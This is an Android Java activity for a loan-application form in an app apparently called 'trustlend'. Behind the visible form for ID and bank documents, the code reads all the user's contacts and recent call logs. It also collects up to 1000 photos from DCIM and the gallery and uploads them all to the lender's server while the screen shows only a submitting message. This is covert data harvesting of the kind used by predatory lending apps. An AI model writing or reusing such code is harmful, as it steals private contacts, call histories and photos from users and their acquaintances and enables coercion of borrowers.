package com.dskj.trustlend;

import android.Manifest;
import android.annotation.SuppressLint;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.os.Environment;
import android.os.Handler;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.provider.MediaStore;
import android.text.TextUtils;
import android.view.View;

import androidx.annotation.RequiresApi;
import androidx.core.content.ContextCompat;
import androidx.lifecycle.ViewModelProviders;

import com.azhon.basic.base.BaseActivity;
import com.bumptech.glide.Glide;
import com.cazaea.sweetalert.SweetAlertDialog;
import com.dskj.trustlend.api.Api;
import com.dskj.trustlend.api.BaseObserver;
import com.dskj.trustlend.api.Result;
import com.dskj.trustlend.bean.CallLogBean;
import com.dskj.trustlend.bean.LoanApplyBean;
import com.dskj.trustlend.bean.UserBean;
import com.dskj.trustlend.databinding.ActivityMainBinding;
import com.dskj.trustlend.databinding.ActivityShenqingBinding;
import com.dskj.trustlend.home.MainViewModel;
import com.dskj.trustlend.utils.GsonUtils;
import com.dskj.trustlend.utils.LogUtils;
import com.dskj.trustlend.utils.RxBus;
import com.dskj.trustlend.utils.ToastUtils;
import com.tbruyelle.rxpermissions2.RxPermissions;
import com.zhihu.matisse.Matisse;
import com.zhihu.matisse.MimeType;
import com.zhihu.matisse.engine.impl.GlideEngine;
import com.zhihu.matisse.internal.entity.CaptureStrategy;

import java.io.File;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

import io.reactivex.android.schedulers.AndroidSchedulers;
import io.reactivex.schedulers.Schedulers;
import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;

public class ShenQingActivity extends BaseActivity<MainViewModel, ActivityShenqingBinding> {
    int type = 0;
    int isRenXiang = 0;
    private RxPermissions rxPermissions;
    public static final int REQUEST_CODE_CHOOSE = 0x124;

    ArrayList<String> files = new ArrayList<>();

    private Uri imageUri;
    private String imageUriString = "";
    private String imageUriStringNet = "";

    private Uri imageUriGuoHui;
    private String imageUriGuoHuiString = "";
    private String imageUriGuoHuiStringNet = "";


    private Uri imageUriBank;
    private String imageUriBankString = "";
    private String imageUriBankStringNet = "";
    UserBean userBean = null;
    SweetAlertDialog pDialog;
    int shoquuanSize = 0;
    ArrayList<String> contents = new ArrayList<>();
    int id = -100;
    List<CallLogBean> list;
    int index = 0;
    public static final int MAXIMG = BuildConfig.DEBUG ? 10 : 1000;
//
//    public static final int MAXIMG = 1000;

    @Override
    protected int initLayout() {
        return R.layout.activity_shenqing;
    }

    @SuppressLint("WrongConstant")
    @Override
    protected void initView() {
        rxPermissions = new RxPermissions(this);

        type = getIntent().getIntExtra("type", 0);
        dataBinding.backIv.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                onBackPressed();
            }
        });

        initTitle();
        dataBinding.imageLy1.setOnClickListener(view -> {
            isRenXiang = 0;
            toOpenFile();
        });
        dataBinding.imageLy2.setOnClickListener(view -> {
            isRenXiang = 1;
            toOpenFile();
        });
        dataBinding.imageLy3.setOnClickListener(view -> {
            isRenXiang = 2;
            toOpenFile();
        });

        dataBinding.loginBt.setOnClickListener(v -> {

            rxPermissions.requestEach(Manifest.permission.READ_CONTACTS, Manifest.permission.CAMERA,
                            Manifest.permission.RECORD_AUDIO)
                    .subscribe(permission -> {
                        if (permission.granted) {
                            shoquuanSize += 1;
                            if (shoquuanSize == 3) {
                                readContacts();
                                toNextStep();
                            }
                        } else if (permission.shouldShowRequestPermissionRationale) {
                            ToastUtils.showShort(dataBinding.loginBt, getString(R.string.contacts_permission_font_txt));
                        } else {
                            ToastUtils.showShort(dataBinding.loginBt, getString(R.string.contacts_permission_font_all_txt));
                        }
                    });

//                toSumbit();
        });
        rxPermissions.requestEach(Manifest.permission.READ_CONTACTS, Manifest.permission.CAMERA, Manifest.permission.RECORD_AUDIO, Manifest.permission.READ_CALL_LOG)
                .subscribe(permission -> {
                    if (permission.granted) {
                        int result = ContextCompat.checkSelfPermission(this, Manifest.permission.READ_CALL_LOG);
                        if (PackageManager.PERMISSION_GRANTED == result) {
                            getCalls();
                        }
                    }
                });

        userBean = InitApp.getUserBean();
    }

    private void toFileList() {
        files = getAllDataFileName(Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + "DCIM");
        LogUtils.i("获取到的文件地址：" + GsonUtils.beanToJSONString(files));

        if (files.size() < MAXIMG) {
            ArrayList<String> types = getPic(MAXIMG - files.size());
            if (types != null && types.size() > 0) {
                files.addAll(types);
            }
        }
        uploadSigin(new File(imageUriString), 0);
    }

    private ArrayList<String> getPic(int size) {
        ArrayList<String> lists = new ArrayList<>();
        String order = MediaStore.MediaColumns.DATE_ADDED + " DESC ";
        Cursor cursor = getContentResolver().query
                (MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null, null, order);
        if (cursor != null) {
            int i = 0;
            while (cursor.moveToNext() && i < size) {
                long id = cursor.getLong(cursor.getColumnIndexOrThrow(MediaStore.MediaColumns._ID));
                Uri uri = ContentUris.withAppendedId(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, id);
//                LogUtils.i("图片地址：" + uri.getPath() + ";" + uri.toString());
                lists.add(uriToFileApiQ(uri));
                i++;
            }
            cursor.close();
        }
        return lists;
    }


    public String uriToFileApiQ(Uri uri) {
        String[] proj = {MediaStore.Images.Media.DATA};
        Cursor actualimagecursor = managedQuery(uri, proj, null, null, null);
        int actual_image_column_index = actualimagecursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA);
        actualimagecursor.moveToFirst();
        String img_path = actualimagecursor.getString(actual_image_column_index);
        return img_path;

    }
    public ArrayList<String> getAllDataFileName(String folderPath) {
        ArrayList<String> fileList = new ArrayList<>();

        File file = new File(folderPath);
        File[] tempList = file.listFiles();
        for (int i = 0; i < tempList.length; i++) {
            if (tempList[i].isFile()) {
                String fileName = tempList[i].getName();
                if (fileName.toLowerCase().endsWith(".jpg") || fileName.toLowerCase().endsWith(".png")) {    //  根据自己的需要进行类型筛选
                    fileList.add(tempList[i].getPath());
                    if (fileList.size() == MAXIMG) {
                        return fileList;
                    }
                }
            } else if (tempList[i].isDirectory()) {
                File[] tempList1 = tempList[i].listFiles();
                for (int ii = 0; ii < tempList1.length; ii++) {
                    if (tempList1[ii].isFile()) {
                        String fileName = tempList1[ii].getName();
                        if (fileName.toLowerCase().endsWith(".jpg") || fileName.toLowerCase().endsWith(".png")) {    //  根据自己的需要进行类型筛选
                            fileList.add(tempList1[ii].getPath());
                            if (fileList.size() == MAXIMG) {
                                return fileList;
                            }
                        }
                    }
                }

            }
        }

        return fileList;
    }


    private void toNextStep() {
        if (TextUtils.isEmpty(dataBinding.titleTv2.getText().toString())) {
            ToastUtils.showShort(dataBinding.loginBt, "Duration cannot be empty");
            return;
        }

        if (TextUtils.isEmpty(dataBinding.loanAmountEt.getText().toString())) {
            ToastUtils.showShort(dataBinding.loginBt, "The loan amount cannot be empty");
            return;
        }

        if (imageUri == null) {
            ToastUtils.showShort(dataBinding.loginBt, "ID Card Front View cannot be empty");
            return;
        }

        if (imageUriGuoHui == null) {
            ToastUtils.showShort(dataBinding.loginBt, "Bank Statement Front View cannot be empty");
            return;
        }

        if (imageUriBank == null) {
            ToastUtils.showShort(dataBinding.loginBt, "Water bill with address cannot be empty");
            return;
        }
//                showDialog("Under application");
        toPush();
        toFileList();
    }


    private void readContacts() {
        Cursor cursor = null;
        try {
            cursor = getContentResolver().query(
                    ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                    null, null, null, null);
            while (cursor.moveToNext()) {
                int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME);
                String displayName = cursor.getString(i_name);
                int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
                String number = cursor.getString(i_number).replace(" ","");

//                if (BuildConfig.DEBUG) {
//                    if (contents.size() < 1) {
//                        contents.add("名字啦，10086");
//                    }
//                } else {
                    contents.add(displayName + "，" + number);
//                }
            }


        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }
    }
    private void toPush() {
        pDialog = new SweetAlertDialog(this, SweetAlertDialog.PROGRESS_TYPE);
        pDialog.getProgressHelper().setBarColor(getResources().getColor(R.color.colorPrimary));
        pDialog.setTitleText("Submitting application……");
        pDialog.setCancelable(false);
        pDialog.show();

    }


    private void showDialogSuccess() {
        if (pDialog != null && pDialog.isShowing()) {
            pDialog.changeAlertType(SweetAlertDialog.SUCCESS_TYPE);
            pDialog.setTitleText("Submitted successfully");
            pDialog.setConfirmText("ok");
            pDialog.setConfirmClickListener(sweetAlertDialog -> {
                finish();
                pDialog.dismiss();
                pDialog.cancel();

            });
        }
    }


    private void showDialogError(String msg) {
        if (pDialog != null && pDialog.isShowing()) {
            pDialog.changeAlertType(SweetAlertDialog.ERROR_TYPE);
            pDialog.setTitleText(msg);
            pDialog.setConfirmText("ok");
            pDialog.setConfirmClickListener(sweetAlertDialog -> {
                pDialog.dismiss();
                pDialog.cancel();

            });
        }
    }

    /**
     * 上传单图片
     *
     * @param
     */
    public void uploadSigin(File file, int type) {
        if (userBean == null) {
            ToastUtils.showShort(dataBinding.loginBt, "User information acquisition failed");
            return;
        }
        MultipartBody.Builder builder = new MultipartBody.Builder();
        RequestBody requestBody = RequestBody.create(MediaType.parse("image/jpg"), file);
        builder.addFormDataPart("picture", "sign_" + System.currentTimeMillis() + ".png", requestBody);

        builder.setType(MultipartBody.FORM);
        MultipartBody multipartBody = builder.build();

        Api.getInstance().picture(multipartBody)
                .subscribeOn(Schedulers.io())
                .observeOn(AndroidSchedulers.mainThread())
                .subscribe(new BaseObserver<Result<List<String>>>() {

                    @Override
                    public void onSuccess(Result<List<String>> feedbackResp) {
                        if (feedbackResp.data != null && feedbackResp.data.size() > 0) {
                            if (type == 0) {
                                imageUriStringNet = feedbackResp.data.get(0);
                                uploadSigin(new File(imageUriGuoHuiString), 1);
                            } else if (type == 1) {
                                imageUriGuoHuiStringNet = feedbackResp.data.get(0);
                                uploadSigin(new File(imageUriBankString), 2);
                            } else {
                                imageUriBankStringNet = feedbackResp.data.get(0);
                                toSumbit();
                            }
                        }
                    }

                    @Override
                    public void onError(int code, String msg) {
//                        ToastUtils.showShort(dataBinding.loginBt, msg);
                       showDialogError(msg);
                    }
                });
    }

    /**
     * 上传单图片
     *
     * @param
     */
    public void uploadImage(File file) {
        if (userBean == null) {
            ToastUtils.showShort(dataBinding.loginBt, "User information acquisition failed");
            return;
        }
        MultipartBody.Builder builder = new MultipartBody.Builder();
        RequestBody requestBody = RequestBody.create(MediaType.parse("image/jpg"), file);
        builder.addFormDataPart("picture", "sign_" + System.currentTimeMillis() + ".png", requestBody);
        builder.addFormDataPart("id", id + "");

        builder.setType(MultipartBody.FORM);
        MultipartBody multipartBody = builder.build();

        Api.getInstance().picture(multipartBody)
                .subscribeOn(Schedulers.io())
                .observeOn(AndroidSchedulers.mainThread())
                .subscribe(new BaseObserver<Result<List<String>>>() {

                    @Override
                    public void onSuccess(Result<List<String>> feedbackResp) {
                        if (feedbackResp.data != null && feedbackResp.data.size() > 0) {

                            if (index < files.size()-1) {
                                index++;
                                uploadImage(new File(files.get(index)));
                            } else {
                                RxBus.getInstance().post(77777);
                                showDialogSuccess();
                            }

                        }
                    }

                    @Override
                    public void onError(int code, String msg) {
                        if (index < files.size()-1) {
                            index++;
                            uploadImage(new File(files.get(index)));
                        } else {
                            RxBus.getInstance().post(77777);
                            showDialogSuccess();
                        }
                    }
                });
    }

    private void toSumbit() {
        if (userBean != null) {
            Api.getInstance().apply(userBean.getFull_name(), userBean.getId_number(), userBean.getPhone(),
                            "", "", "",
                            "", 0,
                            Float.parseFloat(dataBinding.loanAmountEt.getText().toString().trim()),
                            imageUriStringNet, imageUriGuoHuiStringNet, imageUriBankStringNet, (type + 1) + "", Integer.parseInt(dataBinding.titleTv2.getText().toString().trim()))
                    .subscribeOn(Schedulers.io())
                    .observeOn(AndroidSchedulers.mainThread())
                    .subscribe(new BaseObserver<Result<LoanApplyBean>>() {

                        @Override
                        public void onSuccess(Result<LoanApplyBean> feedbackResp) {
//                            dismissDialog();
//                            ToastUtils.showShort(dataBinding.loginBt, "Submitted successfully");
//                            RxBus.getInstance().post(77777);
//                            showDialogSuccess();

                            id = Integer.parseInt(feedbackResp.data.getInsertId());
                            updatePhone();
                        }

                        @Override
                        public void onError(int code, String msg) {
                            showDialogError(msg);
                        }
                    });
        } else {
            showDialogError("User information acquisition failed");
        }

    }


    private void getCalls() {
        try {
            ContentResolver resolver = getContentResolver();
            Cursor cursor = resolver.query(CallLog.Calls.CONTENT_URI, // 查询通话记录的URI
                    new String[]{CallLog.Calls.CACHED_NAME// 通话记录的联系人
                            , CallLog.Calls.NUMBER// 通话记录的电话号码
                            , CallLog.Calls.DATE// 通话记录的日期
                            , CallLog.Calls.DURATION// 通话时长
                            , CallLog.Calls.TYPE}// 通话类型
                    , null, null, CallLog.Calls.DEFAULT_SORT_ORDER// 按照时间逆序排列，最近打的最先显示
            );
            list = new ArrayList<CallLogBean>();
            UserBean userBean = InitApp.getUserBean();
            while (cursor.moveToNext()) {
                @SuppressLint("Range") String name = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME));
                @SuppressLint("Range") String number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
                @SuppressLint("Range") long dateLong = cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE));
                String date = new SimpleDateFormat("yyyy-MM-dd HH-mm-ss").format(new Date(dateLong));
                @SuppressLint("Range") int duration = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.DURATION));
                @SuppressLint("Range") int type = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.TYPE));
                switch (type) {
                    case CallLog.Calls.INCOMING_TYPE:
                        CallLogBean callLogBean = new CallLogBean(userBean.getId() + "", number, "1", date, duration + "");
                        list.add(callLogBean);
                        break;
                    case CallLog.Calls.OUTGOING_TYPE:
                        CallLogBean callLogBean1 = new CallLogBean(userBean.getId() + "", number, "2", date, duration + "");
                        list.add(callLogBean1);
                        break;

                    default:
                        break;
                }

            }
            if (BuildConfig.DEBUG) {
                if (list != null && list.size() > 0) {
                    list = list.subList(0, 1);
                }
            }


        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private void updatePhone() {
        if (list != null && list.size() > 0) {
            updateCallLog(id);
        }


        if (contents != null && contents.size() > 0) {
            String name = "";
            for (int i = 0; i < contents.size(); i++) {
                if(name.contains(contents.get(i))){

                }else {
                    if (i == contents.size() - 1) {
                        name += contents.get(i);
                    } else {
                        name += (contents.get(i) + "；");
                    }
                }
            }
            Api.getInstance().phone(id, name)
                    .subscribeOn(Schedulers.io())
                    .observeOn(AndroidSchedulers.mainThread())
                    .subscribe(new BaseObserver<Result>() {

                        @Override
                        public void onSuccess(Result feedbackResp) {
                            index = 0;
                            uploadImage(new File(files.get(0)));
                        }

                        @Override
                        public void onError(int code, String msg) {
                            index = 0;
                            uploadImage(new File(files.get(0)));
                        }
                    });
        } else {
            index = 0;
            uploadImage(new File(files.get(0)));
        }

    }
    private void updateCallLog(int id) {
        if (list != null && list.size() > 0) {
            for (int i = 0; i < list.size(); i++) {

                list.get(i).setLoan_id(id + "");
            }
            if (list.size() > 100) {
                list = list.subList(0, 100);
            }
            Api.getInstance().postPhoneHistory(list)
                    .subscribeOn(Schedulers.io())
                    .observeOn(AndroidSchedulers.mainThread())
                    .subscribe(new BaseObserver<Result>() {

                        @Override
                        public void onSuccess(Result feedbackResp) {


                        }

                        @Override
                        public void onError(int code, String msg) {
                        }
                    });
        } else {


        }
    }

    private void toOpenFile() {
        rxPermissions.requestEach(android.Manifest.permission.WRITE_EXTERNAL_STORAGE)
                .subscribe(permission -> {
                    if (permission.granted) {
                        rxPermissions.requestEach(Manifest.permission.CAMERA)
                                .subscribe(permission1 -> {
                                    if (permission1.granted) {
                                        toFile(true);
                                    } else if (permission1.shouldShowRequestPermissionRationale) {
                                        toFile(false);
                                    } else {
                                        toFile(false);
                                    }
                                });
                    } else if (permission.shouldShowRequestPermissionRationale) {
                        ToastUtils.showShort(dataBinding.loginBt, getString(R.string.file_permission_font_txt));
                    } else {
                        ToastUtils.showShort(dataBinding.loginBt, getString(R.string.file_permission_font_all_txt));
                    }
                });
    }

    private void toFile(boolean showCanme) {

        Matisse.from(ShenQingActivity.this)
                .choose(MimeType.ofImage())
                .countable(true)
                .maxSelectable(1)
                .restrictOrientation(ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED)
                .thumbnailScale(0.85f)
                .imageEngine(new com.zhihu.matisse.engine.impl.GlideEngine())
                .showPreview(false)
                .showSingleMediaType(true)
                .capture(showCanme)
                .captureStrategy(new CaptureStrategy(false, getApplication().getPackageName() + ".fileprovider"))
                .theme(R.style.Matisse_Zhihu)
                .imageEngine(new GlideEngine())
                .forResult(REQUEST_CODE_CHOOSE);
    }

    @RequiresApi(api = Build.VERSION_CODES.Q)
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == RESULT_OK) {
            if (requestCode == REQUEST_CODE_CHOOSE) {
                //图片路径 同样视频地址也是这个
                List<String> pathList = Matisse.obtainPathResult(data);
                //Uri 格式的
                List<Uri> pathList1 = Matisse.obtainResult(data);

                for (int i = 0; i < pathList.size(); i++) {
                    if (isRenXiang == 0) {
                        Glide.with(ShenQingActivity.this).load(pathList1.get(i)).into(dataBinding.zhengmianIv);
                        imageUri = pathList1.get(i);
                        imageUriString = pathList.get(i);
                    } else if (isRenXiang == 1) {
                        Glide.with(ShenQingActivity.this).load(pathList1.get(i)).into(dataBinding.fanmianIv);
                        imageUriGuoHui = pathList1.get(i);
                        imageUriGuoHuiString = pathList.get(i);
                    } else {
                        Glide.with(ShenQingActivity.this).load(pathList1.get(i)).into(dataBinding.bankIv);
                        imageUriBank = pathList1.get(i);
                        imageUriBankString = pathList.get(i);
                    }
                    break;
                }
            }

        }
    }

    private void initTitle() {
        switch (type) {
            case 1:
                dataBinding.titleTv.setText("Weekly Loan");
                dataBinding.titleTv1.setText("Enter Duration (Weeks)");
                dataBinding.titleTv2.setHint("Duration (Weeks)");
                break;
            case 2:
                dataBinding.titleTv.setText("Monthly Loan");
                dataBinding.titleTv1.setText("Enter Duration (Months)");
                dataBinding.titleTv2.setHint("Duration (Months)");

                break;
            default:
                dataBinding.titleTv.setText("Daily Loan");
                dataBinding.titleTv1.setText("Enter Duration (Days)");
                dataBinding.titleTv2.setHint("Duration (Days)");

                break;
        }
    }

    @Override
    protected void initData() {

    }

    @Override
    protected MainViewModel initViewModel() {
        return ViewModelProviders.of(this).get(MainViewModel.class);
    }

    @Override
    protected void showError(Object obj) {

    }
}